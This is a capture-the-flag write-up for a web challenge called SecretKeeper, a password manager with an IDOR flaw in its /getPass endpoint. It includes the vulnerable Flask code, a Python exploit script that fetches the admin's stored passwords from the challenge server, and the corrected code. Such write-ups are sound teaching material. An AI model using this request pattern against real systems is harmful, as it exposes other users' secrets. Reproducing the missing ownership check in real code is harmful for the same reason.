SecretKeeper
SecretKeeper
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Authorization bypass via parameter manipulation, IDOR (Insecure Direct Object Reference)
Summary
Walkthrough of the CUSTOM Web SecretKeeper. Task: Password manager web app with source code provided. Solution: IDOR vulnerability in /getPass/<user_id> endpoint - only checks session presence, not ownership. Register any user, then access /get
Description
Там, где хранятся чужие тайны, безопасность — лишь иллюзия. Найди способ добраться до запретного.
(Where others' secrets are stored, security is just an illusion. Find a way to reach the forbidden.)
URL: http://62.173.140.174:16085
Source: secretKeeper_src.zip
Analysis
Source Code Review
1. Database initialization (utils.py, lines 11-14):
python read-only • copy allowedc.execute("INSERT INTO users (username, password) VALUES (?, ?)", ('admin', hashed_password)) admin_id = c.lastrowid c.execute("INSERT INTO passwords (user_id, description, value) VALUES (?, ?, ?)", (admin_id, 'Flag', 'CSC{R3D4C7ED}'))
Key observations:
- Admin is created first →
admin_id = 1 - Flag is stored in the
passwordstable withuser_id = 1
2. Vulnerable endpoint (app.py, lines 49-54):
python read-only • copy allowed@app.route('/getPass/<int:user_id>') def get_pass(user_id): if 'user_id' not in session: return redirect(url_for('login')) passwords = get_passwords_by_user_id(DATABASE, user_id) # user_id from URL! return jsonify(passwords)
Vulnerability: IDOR (Insecure Direct Object Reference)
Problem: The endpoint only checks for session presence ('user_id' in session), but does NOT verify that the requested user_id from URL matches session['user_id'].
Impact: Any authenticated user can retrieve passwords of any other user by simply changing the user_id in the URL.
Solution
Exploitation
python read-only • copy allowed#!/usr/bin/env python3 import requests base = "http://62.173.140.174:16085" s = requests.Session() # 1. Register a new user s.post(f"{base}/register", data={ "username": "testuser123", "password": "testpass123" }) # 2. Login s.post(f"{base}/login", data={ "username": "testuser123", "password": "testpass123" }) # 3. IDOR - get admin's passwords (user_id=1) r = s.get(f"{base}/getPass/1") print(r.json())
Result
json read-only • copy allowed[{"description":"Flag","id":1,"value":"CODEBY{REDACTED}"}]
Fix
The endpoint should verify that the requested user_id matches the current user:
python read-only • copy allowed@app.route('/getPass/<int:user_id>') def get_pass(user_id): if 'user_id' not in session: return redirect(url_for('login')) # Add this check! if user_id != session['user_id']: return jsonify({"error": "Forbidden"}), 403 passwords = get_passwords_by_user_id(DATABASE, user_id) return jsonify(passwords)
Or better — don't accept user_id from URL at all:
python read-only • copy allowed@app.route('/getPass') def get_pass(): if 'user_id' not in session: return redirect(url_for('login')) passwords = get_passwords_by_user_id(DATABASE, session['user_id']) return jsonify(passwords)
References
- OWASP IDOR
- PortSwigger IDOR
Key Takeaways / Lessons
- Mastering Authorization bypass via parameter manipulation, IDOR (Insecure Direct Object Reference) was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-12-20 • CUSTOM • SecretKeeper • Difficulty: Easy